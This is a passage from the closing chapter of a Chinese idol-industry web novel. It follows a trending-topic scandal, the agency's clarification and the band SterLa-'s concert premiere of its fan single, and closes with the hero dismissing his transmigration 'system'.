他的心头一跳，做公关这行的都是够敏感的人，老板的话一出口，他就察觉到有似乎有点不对。但现在钱已经投了进去，而且词条的效果也真的很不错，他只得硬着头皮道，“我看他们的词条热度有点往下走了。” 虽然实际情况是热度并没有往下，是他想让它走得更上面。 “我就砸了五十万买流量。”说着，听对面没什么声音，又接着补了一句，“现在效果不错。” “呵呵。”老板的冷笑从电话那端传来，“效果不错？是真不错啊！！” “你自己好好看看去吧！” 说完老板啪嗒一声挂断电话。他听着电话里的忙音，手机已经自动跳转回热搜榜单界面。怀着一种不好的预感轻点刷新，砸钱的词条还在最顶上。 他缓缓舒气。 只要词条还在第一就说明他刚刚的钱砸得对。老板的电话可能是想抱怨一下花钱太多？ 真是铁公鸡老板，这年头不花钱营销谁白给你流量啊？ 稍稍放松心情，手指也跟着点进词条，却发现词条顶部的热门已经更新了——5分钟前乐狮娱乐官方账号发布关于江翰飞事件的澄清说明。 他背脊一凉，去翻看刚刚老板给他打电话的时间，3分钟前。 两眼一黑，不祥的预感在他心头盘旋。 不会这么巧吧？ 如果说江翰飞的发文只是给热度加了点炭，其他娱乐公司的下场就是给已经烧红的炭火扇风了。 江翰飞发帖后不到一个小时，相关六个词条涨幅惊人。其中最早的负面词条已然登顶。 这个时期的登顶绝不跟平常一样，顶头的都是国泰民安的新闻，按理来说一个明星带着负面词条登顶绝非好事，也是冲着这一点，暗中下手的那些娱乐公司才会这么狠。 你不是多次翻转吗？你不是走势惊人吗？那我就让你知道什么叫过犹不及！ 不知道是不是春节期间的晚上，大家闲嗑瓜子时间多。词条冲上第一后果然热度和参与人数一下子暴增。 “大年初一别来找晦气吧？这种人来凑什么热闹啊？” “江翰飞和乐狮是飘了吗？敢在大年初一抢流量。” “百万销量说心疼粉丝有负担哈哈哈，大年初一词条登顶粉丝还营销说她家哥哥不争不抢。年度最佳笑料。” “没看懂，这个明星发帖什么意思？私生是什么？有没有人科普一下。” “吃不动跨界瓜真着急。” “真搞笑，这个平台还想干吗？让一个明星的负面新闻把新春佳节的词条都冲下去了。没事儿吧？” “我吃懂了。给大家理理时间线，这人直播的时候出现女孩子的声音——瓜友们怀疑是他女朋友，粉丝坚持是私生饭讨论上热搜——词条热度被公司压下——风平浪静一个白天——晚上词条被瓜友们翻出来投流再上热搜——当事人压不住了出来发文澄清，声称是私生饭，还假模假样扯上他自己上次的热搜训粉。Over。” “你的总结让你的皮都藏不住了。” 大家正看热闹，对家正看好戏，乐狮官方账号公告从天而降。 公告内容只有三个要点，1）澄清江翰飞直播时确为私生骚扰，并附上马赛克版通话记录以及对方发来的疯狂短信。2）表明上次江翰飞生日时进行的调解以及强调最后由“某人”承担了所有损失和赔偿费用。3）对此次热点事件中构成造谣，诽谤他人，侵犯公民隐私的部分账号进行起诉。 公告一出，大众吸引力立即被暴露出来的信息吸引走。 “卧槽，私生这么恐怖的吗，第一次知道这种生物，这短信记录看得让人有点背后发凉。” “某人是谁啊？为什么要特地强调这个？是犯事的粉丝不是两个人吗？其中一个承担了所有赔偿？” “谁那么大气，不是要求150万的赔偿吗？我不要求多了，土豪能不能也帮我还一下几千块钱的花呗欠款？” “哈哈哈哈果然乐狮法务部又出手了，笑死，之前那些人还信誓旦旦，说现在这些营销号敢发就说明是真的，拿营销号的话当证据真的好搞笑。” “好奇乐狮法务部这么刚的吗？” “虽然但是，春节期间真的不想看你们这些娱乐圈的人吵架，没事儿多交点税吧。” “这乐狮官号发的有点意思啊，赔偿人说的躲躲藏藏的。这是在某组一个真瓜王刚刚发的瓜。[截图.jpg]” 超话里的粉丝们比他们更早看到这张图，里面只是简单的几句对话。 【帮忙赔偿平事儿的人谁啊？有知道内情的吗？】 【我也是，好奇死了，谁让他说的那么含糊其辞又欲拒还迎的】 【我组人脉呢！！能不能有人脉出来救救孩子！】 【你们不都猜到了？为什么一副不知道的样子？】 【楼上NB，所以楼上知道内情？】 【卧槽，楼上不就是我组人脉姐吗？姐，求解码。】 【姐你这么说我就真这么猜了啊】 【srds，还是有点不敢相信，这年头还有人能做到这份儿上？】 【我说的够明显了，就是他啊。】 【啊啊啊啊啊啊啊啊】 【啊啊啊啊啊啊啊卧槽我要黑转粉了！】 这个他是谁不言而喻。在事件当时也有人往这个方向猜过，只是谁都不敢拿在明面上说，尤其粉丝。万一不是，那对阿飞的伤害不是更大吗？ 而现在，虽然乐狮也没明说，但是这个时间点发这样的公告，让她们不由自主地往某个方向去猜。 “感谢‘某人’，感谢你的出现。” “突然想起我以前和男友开玩笑时也老喜欢说某人，现在也能称我的电子男友为某人了，我真幸福。” “我猜某人就是那种不善言辞，学不来漂亮话，平时看起来内向又腼腆需要人去保护，但一遇到危险会毫不犹豫地挺身而出挡在你面前的人。眼睛袅袅了。” “小狗，是我的小狗。” “我想这辈子是真的没办法再粉上别人了。你的爱太美好了。” “可能大家很感动，但是我觉得挺寒心的。不是他不好，是他太好。能不能以后不要让他再面临这样的事？在生日当天被人黑上热搜，还得赔钱。娱乐圈的结算制度大家都清楚，他们虽然也算有百万销量的热门男团了。但别忘了，在这件事发生的时候，他们的三专还没发，那个时候他出道也才刚一年，手里能有多少钱？真的非得让他整个人都填进去了，这些打着爱他的名义却做着伤害他事情的人才甘心吗？” “T T说不出话。” 朱朱看着超话里泪洒一片，大家心照不宣地不点明名字，只当某人。 她想起那天那个晚上，她和柯苗打电话哭得上气不接下气，后来被炒豆群里的其他人知道还隐晦的问过她，值得吗？ 以前的她从不会为一个人停留一年以上，更不可能为一个人哭得那么伤心。朋友们都觉得她以前才是最好的追星方式，从不过多投入，一旦感到厌倦了，不开心了就会马上抽身。 她的追星之旅一直是快乐的。 除了在江翰飞这儿。 但看着超话的帖子，粉群里的聊天，朋友发来的私聊，还有江翰飞发的博文，她觉得，值得。 她选择陪伴的花真美。 没等粉丝们缓过劲儿，热搜还在头顶挂着，一刷新又刷出来SterLa-官方账号的新博文。 “卧槽，等等，这是我今天说的第几个卧槽了？” “粉！丝！单！曲！！” “啊啊啊我们也要有我们的单曲啦！！！！” “巡演巡演巡演！！新一年的巡演我一定要抢到票！！！” “今年上半年想想就好爽，4月开始巡演+巡演首场发布粉丝单曲。去年巡演一共八场，今年直接翻倍，还有国外的场次，我们SterLa-也是国际明星了呜呜呜呜” “我宣布，今天我会给所有人好脸色哈哈哈！” “纯路人，看到现在，只能感慨一声乐狮营销是真6啊！” 【正文完】 第99章 大年初一，接着多条高位热搜，在最热闹的时候SterLa-团队官方账号官宣即将发布粉丝单曲和巡演计划，直到初三，网络上热热闹闹全是SterLa-的消息，狠狠刷了一波存在感。 SterLa-官号和各个成员号迎来涨粉潮。江翰飞喜提新一代粉丝最多的男团成员，上一代好巧不巧正好是Hitting的秦正浩，被粉丝们戏称乐狮二宝。现在两人热度都高，粉丝们也喜闻乐见。 初三当天，SterLa-成员们从家里赶回宿舍，几人凑齐后，先把江翰飞按在沙发上狠狠蹂躏了一顿。 “江翰飞，居然敢一个人担赔偿，都不告诉我们！！”吴星雨架住江翰飞的双臂，不让他双手挣扎。 “嗯，你这样不对。”葛文山也成了控制江翰飞的主力军，左右手开工，轻轻将他的小腿夹在胳膊下。 禹安和于立果站在沙发前，一个使劲儿揉搓他的头发，一个时不时去挠他咯吱窝。 江翰飞承受着酷刑，被痒痒得身体左扭右扭，整个人又皱巴又咧着嘴笑得面色涨红，红色从耳根蔓延到脖颈。 一边笑得上气不接下气下气，一边大声求饶，“嗯嗯嗯！不了不了！我、我下次一定、一定跟你们商，商量！” 其余四人对视，交换一个眼色，这才默契地放开他。 吴星雨代表四人说道，“说好了啊，下次再敢一个人扛这种事儿，我们就把你踢出我们的小群！” “嗯嗯！”另外三人齐齐点头表示认同。 江翰飞缩在沙发里，头枕着吴星雨的大腿仰躺着，用手揩掉眼角笑出来的一点眼泪，低低应道，“好。” 于立果揉揉他头发，又拍拍他，“好了，起来吧，吃东西去。” 说着，禹安和葛文山快人一步，已经把从家里拿来的东西大大小小拿出来，摆了一桌子。见江翰飞还躺着，催促道，“江翰飞，快来快来！我妈让我带来好多好吃的！” 快乐的假期总是短暂，初四开始几人重回练习室，准备后续的巡演舞台以及粉丝单曲的录制。 粉丝单曲他们提了好长一段时间，在等待公司批准制作的时间里，他们自己已经完成了大半，正好趁着这次热度官宣四月一日的巡演首场以及粉丝单曲的首次见面。 三月一日，SterLa-二巡首场开票。比一巡翻倍的座位数量也阻止不了秒切。 用粉丝的话来说，遍地哀嚎的样子真是令人该死的熟悉。 “啊啊啊抢不到一点！几万张的票一秒就没了？没了？！” “我抢到了哈哈哈哈嘿嘿哈哈哈” “有没有人出啊我价收球球了，我毕生心愿就是去一次他们的演唱会！” 四月一日，愚人节。 SterLa-二巡首场正式在首都拉开帷幕。 “准备好了没准备好了没？”欣怡问道，“该去候场了！” 休息室内几个大男生，身着一身白色骑士装，金色的装饰链条和镶边的金线在灯光下闪闪发光，听见问话转头看来时让她一阵恍惚。 怎么好像昨天还是第一次去打歌被人为难，连休息室都没有的小爱豆。今天突然就变成近年来势头最好，发展最快的大热男团了呢？ “好了！”吴星雨转头应道，又转回身，伸出拳头，“来吧！” 葛文山，于立果，禹安，江翰飞陆续伸出拳头，几只拳头在中间会合，碰撞到一起，感受着队友的皮肤温度。 颈上微微暴起青筋，将拳头一起高高举起又重重散开：“1 2 3 SterLa！！！” 热血的口号唤醒欣怡，眼睁睁看着熟悉的他们昂首挺胸，一个接一个走出休息室，往舞台入口处大踏步而去，背影坚实而宽阔。 前台大屏放映着暖场VCR，粉丝们举着SterLa-的专属应援棒，满心期待着马上要见面的偶像。 除了粉丝，还有许多人慕名而来，想见识一下SterLa-据说见过就会爱上的超绝现场。从一巡起，他们的演唱会售票盛况就在圈内打响了名头，加上去年跑的音乐节，演唱会拼盘，慈善演出。 源源不断的舞台好评让人疑惑，真有视频里和他们粉丝吹得那么好吗？因为这些好奇来看演唱会的人，票更难抢了。 粉丝们憋气，骄傲自家爱豆的舞台，又抓狂自己抢不到票，对手实在太多！ 四月初春，天还是黑得早，场内已经开始打上照明灯。 前排VIP位置上的一位女生一边偷偷觑着身边几位，一边噼里啪啦地在手机上和好友□□。 “卧槽啊啊啊啊啊啊！！！！” “你知道我见到谁了吗？！！！” 好友：“你今天不是去看SterLa-演唱会了吗？除了他们还能见到谁啊” “我见到你担了[微笑]” 好友：“卧槽？！！！！秦正浩去看SterLa-演唱会了？！！！” “不仅来了，还就坐在我旁边[微笑]” 好友：“三秒内，我要你的座位啊啊啊啊啊啊！我当时为什么没陪你去啊！我为什么要赶论文啊啊啊！！” “先别急着发疯，我还没说完。” 好友：“，你说吧，我受得住[大哭]” “你担的CP沈和也在。还有时元几个同属乐狮的选秀出道成员，去年突然火起来的Bearing的队长和主唱，K家IUE的几个人好像也在，在往右边看我就看不清楚了。” “最中间坐的是几个看起来年纪比较大的大叔，有点眼熟，有一个好像是合作过的袁杰老师，太远了看不清楚。” 好友：“别说了你当时为什么没有把刀夹在我脖子上让我陪你一起去看演唱会？！！” “这哪儿是演唱会啊，这明明就是小型的明星发布会啊！！” 场内灯光倏然暗下，场内只剩点点星光，汇成一片海。 “啊啊啊啊啊！！！” “来了！” 熄灭的灯光仿佛一个讯号，瞬间点燃全场的尖叫和欢呼声。 女生立马把好友的哀嚎抛在脑后，按掉手机屏，一秒加入尖叫的队伍。 “噗嗤——”干冰从舞台两边喷出，白色烟雾霎时笼罩住整个舞台。 烟雾渐渐消散后，五人的身影显露在大屏下的阶梯上。接着灯光聚拢在几人身上，几人伴随着音乐节奏拾级而下。 大屏镜头拉近，他们沉稳又从容，一步一步，眼神从容又坚定地直视前方。 “啊啊啊啊！帅死我了！” “好A啊宝宝！！” 场内站定，场内响起他们二专主打《唇枪舌剑》，管风琴的重音压住全场噪音，抓住他们的耳朵。 轰鸣的重音仿佛雷暴，直击观众心灵，在他们还来不及反应，高亢的小号声音又像狂风，卷走他们的理智不断拔高往上，让观众只能听见满耳的歌曲和自己血液因为兴奋流动的声音。 台上在光影交错间，SterLa-几人像是真正的战士在与敌人战斗，一个动作都竭尽全力。但又像艺术家一样，每一次挥手都合着一个重音。队形变化迅疾又整齐，丝毫不差。 台下IUE和刚刚被解散的KtM怔怔望着台上，舞台上的光影在他们的瞳孔中留下倒影。 原来这就是SterLa-的舞台吗？ 难怪我们会输。 难怪都说，SterLa-的演唱会只要去过一次，就不会再对他们有任何疑问。 与打歌舞台或者录播表演不同，现场舞台更注重氛围。 Live是现场的灵魂。Live的魅力在于，也许不会每次都很完美，但确有一种独特的魅力。 而SterLa-这一场演唱会下来，每场都是开麦特别明显的live，唱到高音从不含糊。舞蹈更是每一首都仿佛明天就是末日，这是最后一场演出一般竭尽全力去表演。 哪怕他们身为曾经的对手，也说不出他们舞台不好的话。 如果用他们粉丝的话来形容，就是仿佛他们不在这个台上表演，不唱歌，不跳舞，他们就会枯萎着死去，仿佛那个舞台是支撑起他们生命的脊髓。 SterLa-舞台的生命力，令人着迷。 身边的声嘶力竭的应援，和身后山呼海啸的欢呼尖叫已经证明了一切。 “各位！”吴星雨举起话筒，“今天演唱会已经到尾声了，你们尽兴吗？！！！” “尽兴！！！” “好！”于立果大声喊道，“那就让我们再尽兴一点吧！” “好！！” “不过虽然尽兴，最后一首歌，希望能静静的听。”葛文山沉稳说道。 “我们的最后一首歌！”禹安举起手，又猛然指向江翰飞。 全场的灯光聚焦到他身上，江翰飞微微笑着，汗水从额角滑过，“我们的粉丝单曲：彼此。” “啊啊啊啊啊！！” “嘘——”江翰飞食指竖在唇边，看着眼前的星海，轻声说道，“来了。” “没有清晨，我只是一颗孤独的星星。” 轻柔的声音回荡在场馆内，刚刚劲歌热舞带来的燥热被轻轻拂过的风带走。 “有一天出现在光年内的你，悄悄运行。” 江翰飞一边唱，一边往舞台中心走，眼神望着遥远的遥远的星海边际，“你在昼间离去，我在夜里寻觅；你亲吻清晨的大地，我叫醒装睡的星云。” 眼神从远方滑下，滑过场内所有亮着的应援棒，滑过前场对准他的长枪短炮，滑过每一双亮晶晶也望着他的眼睛，“直到我们在星轨相遇，原来你就是你。” “在交汇的时刻，彼此金光熠熠——” 几人在舞台中间聚齐，中间的升降台缓缓升起。 一曲终了，几人坐在升降台上朝眼前欢呼声混杂着哭声的这一片海挥手。 冷不丁地，江翰飞耳边响起久违的系统的声音。 【叮咚~】 【你好，江翰飞先生，看来你真的在非常努力的完成任务呢~】 【成为顶流，回归世界，指日可待。】 江翰飞愣了一瞬，随即笑起来。 【不，那些都不重要了。】 【我会努力成为顶流，只是我想，我爱的人也如此希望着。】 【】 系统静默，数据的大脑让它无法理解江翰飞的话或者说人类的语言。 既然是一样的目标，说会完成任务，为什么又说不重要呢？ 无法解析的数据让它闭嘴。见江翰飞没有再跟它说话的意思，安静离去。 既然这个人有bug我再换一个好了。 江翰飞没有察觉它的离开，跟它说那两句话，也只是因为感谢它带自己来到这个世界，即使一开始他并不情愿。 现在的它于他已经没有任何意义。 “江翰飞，到你了。”禹安手肘拐拐江翰飞，“粉丝单曲创作感想。” 他拿起话筒，系统的到来勾起他的回忆，他想起自己刚到这个世界时每天晚上都会看一看天上的月亮。 “我想说，其实星星是不发光的。” 后来他不看月亮了，因为他看到了一双双亮晶晶的眼睛。 “它能在夜空里发亮是因为反射太阳光，能在夜空里闪烁是因为即便有时候太阳的光被其他的星球掩盖了，但太阳和这颗星星都不会放弃，太阳和星星都在努力地继续自转和公转，直到它们下次相遇，太阳的光能再次照射到这颗小行星。” 知道现在，他的眼里也倒映着星海。 “然后在我们的眼里，天上这颗星星就完成了一次眨眼，一次闪烁。” “也许有时候太阳的光芒被遮住的时间长了点，久了点，所以星星眨眼的时间长了点，闪烁的间隙长了点。但是希望在没有相遇的间隙里，我们都在各自努力，没有放弃我们自己的人生。” “首先我们自己是自己的太阳和星星，其次我希望我们也是彼此的太阳和星星。所以，在没有月亮的晚上，星星也显得更加明亮了。”—— 正文完——